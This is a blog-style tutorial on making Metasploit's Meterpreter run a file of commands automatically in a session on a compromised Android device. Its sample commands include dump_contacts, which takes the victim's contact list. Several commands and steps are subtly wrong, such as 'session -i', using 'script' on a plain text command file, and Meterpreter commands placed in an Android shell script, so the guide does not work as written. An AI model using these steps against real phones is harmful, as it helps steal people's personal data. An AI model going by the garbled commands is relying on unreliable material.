Get a Pentest and security assessment of your IT network.

Cyber Security

Android Meterpreter Auto Commands

TL;DR

This guide shows you how to automatically run commands when a Meterpreter session starts on an Android device using Metasploit. We’ll use the session -i command with a script file containing your desired commands.

Prerequisites

  • Metasploit Framework installed and running
  • An active Meterpreter session on an Android device

Step-by-Step Guide

  1. Create a Command Script File
  2. First, create a text file (e.g., auto_commands.txt) containing the Meterpreter commands you want to execute automatically. Each command should be on a new line.

    sysinfo
    getuid
    dump_contacts
    
  3. Access the Session
  4. Open Metasploit and access your Meterpreter session using session -i . Replace <session_id> with the actual ID of your active session.

    msf6 > session -i 1
    meterpreter > 
  5. Execute the Script
  6. Within the Meterpreter session, use the script command to execute your script. This will run all commands in the file sequentially.

    meterpreter > script /data/local/tmp/auto_commands.txt
    [*] Running script auto_commands.txt...
    ... (output of commands) ...
    [*] Script completed.
    
  7. Automate on Session Start (Post-Exploitation Module)
  8. For more robust automation, you can use a post-exploitation module to execute the script automatically when a session is created. This requires creating a custom module or modifying an existing one.

    • Create a Custom Post Module (Advanced): This involves writing Ruby code that defines a new module which executes your commands upon session creation. It’s beyond the scope of this basic guide but allows for greater control and flexibility.
    • Modify Existing Modules: Some post modules allow you to specify custom scripts or commands to run. Check the documentation of the specific module you are using.
  9. Alternative Method: Using a Shell Script (Less Reliable)
  10. You can attempt to execute a shell script from Meterpreter, but this is less reliable due to Android’s security restrictions.

    meterpreter > shell
    mkdir /data/local/tmp/script_folder
    echo "sysinfo" > /data/local/tmp/script_folder/run.sh
    echo "getuid" >> /data/local/tmp/script_folder/run.sh
    chmod +x /data/local/tmp/script_folder/run.sh
    /data/local/tmp/script_folder/run.sh
    

    Note: This method may require root access or specific permissions to execute the script successfully.

  11. Troubleshooting
    • Permissions: Ensure that the script file has executable permissions if necessary (e.g., using chmod +x).
    • File Path: Double-check the path to your script file in the script command.
    • Command Syntax: Verify that all commands in the script are valid Meterpreter commands.
    • Android Security: Android’s security features may prevent certain commands from executing, especially without root access.
Related posts
Cyber Security

Zip Codes & PII: Are They Personal Data?

Cyber Security

Zero-Day Vulnerabilities: User Defence Guide

Cyber Security

Zero Knowledge Voting with Trusted Server

Cyber Security

ZeroNet: 51% Attack Risks & Mitigation